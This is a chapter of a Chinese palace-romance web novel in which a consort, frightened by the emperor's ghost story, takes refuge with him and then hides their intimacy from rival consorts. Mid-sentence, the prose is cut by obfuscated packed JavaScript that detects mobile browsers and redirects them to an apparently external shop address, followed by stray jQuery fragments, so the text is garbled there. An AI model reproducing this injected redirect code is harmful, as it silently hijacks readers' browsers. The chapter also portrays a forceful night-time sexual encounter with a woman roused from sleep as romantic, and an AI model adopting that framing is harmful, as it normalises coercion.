15. 第 15 章

作品:《贵妃有闲

    皇帝偶尔召幸不奇怪,除夕那会贵妃回宫,皇帝不也召幸了么?后宫倒是没起什么波澜。


    “母妃,我们什么时候回行宫?我都快撑不下去了!”元祁嘟囔道。


    “快了,等你大哥成完婚,我们就回行宫。”


    母子今年一起犯太岁,元祁在东书房被夫子严格教养,动不动就打手板罚抄书,许韵则每日被皇帝督促喝苦药。


    太后与谨妃选了几家贵女,今日邀请官眷们领着女儿来寿康宫赏枫。


    许韵一整日都晕晕乎乎的,皇帝讲故事的声音犹言在耳。


    什么那年轻道士是个散修,什么符一烧完,周遭瞬间冰冷,什么空旷的卧房忽然像是挤满了人......


    “左阁老的孙女左雪蕊怎么没来?”


    “说是明日才随父母到皇城。”


    “她不过是个陪衬,太后其实不满意她家。”


    ......


    左雪蕊的母亲不就是故事里那个正妻么!许韵提心吊胆了一上午,这会儿终于松了口气,这事是钦天监禀告的辛秘,皇帝不当真,未必就是假的!


    太后看中的是骠骑大将军家的长女,这女子性格爽朗,模样姣好,宫妃们也都很满意。


    陪着太后用了晚膳,许韵才回紫宸殿,今夜总算不用去皇帝跟前喝药了吧。


    “禀告贵妃娘娘,左阁老家的长媳向氏带着女儿左雪蕊已经在殿里等候多时了。”


    彩墨在殿门口告诉她这消息,一阵凉意从头落到脚,下意识地转身就走。


    “参见贵妃娘娘。”向式迎了出来。她一身紫色华袍,笑意盈盈,仿佛料定了许韵这会儿回宫。


    “向夫人不必多礼,”许韵表面上端庄,心里已经在哭了,太吓人了!除了她无人知晓这其中利害!


    虽说是钦天监禀告的臣子家的怪事,但到底是钦天监啊!!


    “这是小女左雪蕊,今日臣妇特意携她来拜见贵妃娘娘。”


    左雪蕊生得倒是标志。


    “太后娘娘今日念叨着你们母女。进宫了怎么不去寿康宫?”许韵很努力才维持声音不颤抖。


    向氏:“太后中意的不是小女,而贵妃娘娘圣眷正浓,臣妇求到贵妃面前来。若贵妃能在陛下面前为小女美言几句,将来臣妇与小女必定会为贵妃鞍前马后。”


    向氏怎么知道太后中意的不是左家?太后明面上可是很满意她家的。


    “回禀贵妃,宫门口出事了!”玉书进殿来禀告。


    “何事啊?”


    “骠骑大将军家的女眷出宫时,马儿忽然发疯乱跑,将车厢里的人颠了出来,说是摔伤了腿,这会儿被送去了太医院!”


    啊?!!


    许韵下意识看向氏,连马的魂魄都能拘吗?


    苍天啊,来个人救救她吧!!!


    养心殿里,贵妃的汤药已经送来了,皇帝随口问了一句,“贵妃呢?”


    李召:“奴才还未去请,听人说贵妃宫里有人,左阁老的长媳与孙女进宫拜见贵妃。”


    “谁?”


    “左阁老的长媳和孙女啊。”


    李召不明白皇帝为何笑了。


    元辰:“去传朕旨意,让贵妃来养心殿。”


    李召不明白了,喝药这事这么急的么?


    许韵如坐针毡,等李召过来传皇帝口谕,她简直对皇帝感激涕零,救她于水火啊!!向氏此人说话滴水不漏,面带微笑,她却心慌意乱,只想逃之夭夭!!


    许韵从龙辇上下来,真是奔进养心殿的,也不顾周围有没有宫人。


    “陛下!!!”


    皇帝正在书架前找书,忽然一个软绵绵的人扑进他怀里。


    “太可怕了,太可怕了了?!”


    皇帝哭笑不得,“贵妃吓着了?不要害怕,不过是钦天监危言耸听罢了。”


    “可是、可是那向氏竟然知道太后不满意左雪蕊,直接就没去寿康宫,还有、还有骠骑大将军之女还没出宫,就从马车上被颠了下去,摔伤了腿!怎么不是真的!就是真的!太吓人了!!”


    “我方才那么敷衍她,她会不会回去就让道士施法?”


    皇帝:“不怕,朕今夜看着贵妃,若那妖道派妖魔鬼怪来,朕不让他们把你的魂带走就是了。”


    李召远远瞧着贵妃不对劲,趁着宫女伺候贵妃沐浴的之时询问皇帝,“可要宣太医瞧一瞧?贵妃可是受了什么惊?”


    皇帝老神在在,“无妨,不过听了个鬼故事罢了。”


    李召:“鬼故事?”


    李召:“......贵妃那么老实的一个人,陛下戏弄她做什么?”


    元辰:“你不觉得很有趣么?”


    再有趣也不能这么戏弄人啊。


    鬼故事是假的,妻妾相争把人弄疯却是真的。


    许韵这会儿一点儿也不嫌弃皇帝了,夜里缩在衾被里,露出一双圆溜溜的眼睛,她是信鬼神的,自幼就爱看鬼怪的话本子,十四五岁时看得整宿整宿睡不着,总感觉房里有动静。


    但现在不一样了,龙塌成了庇护所,皇帝龙体炙热,这都叫她感觉安心。


    “这不闷坏了么?”皇帝将人从被子里剥出来,好整以暇地看着她,哪里象之前那个端庄寡言的贵妃,倒如同十七八岁刚进宫时的少女模样。


    许韵也觉着丢脸,没影的故事,自己怎么吓成这样,一下扭头埋进被褥里。


    “无妨,朕在这里,贵妃什么都不用怕的。”皇帝笑着轻拍她肩背。


    许韵闭上眼睛,周身暖意融融的,迷迷糊糊,被睡意带走最后一丝神识,她想老古板其实对她挺好的。


    一直到半夜被强势弄醒之前,她都是很感激皇帝的。


    “你!”


    她被摁在龙塌上,曲着腿,背后压了座大山!胸腔里只有出的气,没有进的气!这座大山还有锋利的牙齿,如猛兽般咬着她后颈细嫩肌肤。


    皇帝原本是没有这个心思的,看了书熄了灯,静静看着怀里睡颜。


    她真算不上后宫最美艳的妃嫔,这些年的印象不过是个守规矩的木头人,刻板迂腐,跟每一个出自御史世家的人都一样。


    但如今她在他心里已经不是那无趣的模样了,她是灵动的、跳脱的、可爱的、会偷偷嘲讽人,甚至背后大不敬说他坏话,也会傻乎乎被吓得六神无主。


    就这么静静瞧着,就起了心思。


    怀里的人是温软而真实的,元辰忽然就像感受这具躯体最真实的温度。


    直至晨起太监在外头提醒已经卯时过半了,皇帝才直起腰身。


    许韵人都吓傻了,被褥掀起,露出男人一双阴鸷餮足的眼眸,男人侧首在她膝上落下一吻。


    男人唇角还残留着饱餮过后留下的水渍。


    古板禁欲是许韵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696823|188991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对皇帝最大的误解。


    哪怕她写过那样香艳的话本子,也比不上皇帝对她所做的万分之一!


    妖魔鬼怪哪里有元辰这个人可怕。


    若昨夜算是侍寝,那前头十多年算是什么?


    待她回到紫宸殿,趴在浴殿池壁上时,人还没回过魂来,她不许任何一个宫女进来伺候。


    彩墨:“禀告贵妃,洛嫔与霁嫔来了。”


    连着两夜召幸,自然会有人来打听。


    肩上腿上都是印痕,烦死了,还是得早日回行宫去,不然真被弄死。


    这二人来的目的很简单,表面上关心她,实际就是打探消息。


    许韵只能装模作样在二人面前哭诉,“祁儿的功课实在太差,陛下责问我这些年在行宫都是怎么教养他的。”


    洛嫔的脸色稍好些,皇帝不曾偏宠过什么人,哪怕对静妃也只是欣赏看重而已。


    这些年几乎已经不召幸后宫,年头上贵妃回来召幸一次,众人也没当回事,毕竟贵妃常年居于行宫,皇帝稀罕一回罢了。


    可是最近不大对劲了,连着两夜了。


    原来不是宠幸,而是责问,如此才说得过去。


    许韵:“三皇子毕竟不是我亲生,我哪里敢打骂,平时都是哄着劝着。”


    霁嫔比洛嫔真心几分,“我懂贵妃的苦处,三皇子自小体弱,你将他养这么大已是不易,自己身体也累垮了。”


    洛嫔:“姐姐莫哭,这又不是姐姐的错,还是求太后劝劝陛下,三皇子尚且年少,不要对他太严苛为好。”


    不过半日的功夫,后宫众人都知道,皇帝召见贵妃不为侍寝,只为了责问三皇子的功课,贵妃被训斥得不住哭泣,旧疾也发作了,还宣了太医,说若再不去行宫修养,恐怕有性命之忧。


    李召瞧着皇帝今日心情甚好,连带着在朝堂上也和颜悦色几分,午膳过后去东书房查看三位皇子功课。


    从前十个问题,只有一个问题是问元祁的。


    今日瞧着他,不知为何比从前顺眼了一些,连着十个问题都是问他。


    元祁没答出来,皇帝也没责备,就只是嘱咐他要好好听太傅讲课。


    二皇子元舒:“今日怎么回事?父皇都不问大哥?”


    元祁耷拉着眉眼:“我昨天功课没做好,父皇估计今日专门来逮我的。”


    元舒似笑非笑:“哦?原来是这样啊。”


    元祁:“是啊,我功课最差嘛。”


    大皇子元理若有所思地看着元祁。皇帝还未立太子,他的任何一句话一个举动,可能含着深意,尽管三皇子在外人看来最不可能被立为皇储。


    皇帝的好心情一直延续到,翻开了御史台的奏疏。


    奏疏里劝诫他不要对三皇子期望太高,贵妃养育三皇子已是不易,皇帝不能太苛责于她。


    然后皇帝的心情就没有那么好了。


    究竟是谁说他苛责贵妃呢,这很容易就查到了。


    “贵妃亲口说的?朕这几日传她去养心殿是为责问三皇子的功课?”


    赵勋:“是,贵妃在霁嫔与洛嫔面前哭诉,自责没有教导好三皇子。”


    “下去吧。”


    男人靠在御座上,手中轻捻佛珠,正好那一粒珍珠在他指腹反复蹂、躏,责问?训斥?那他们昨夜的温存算什么呢?


    他是什么洪水猛兽么?她这么躲着?!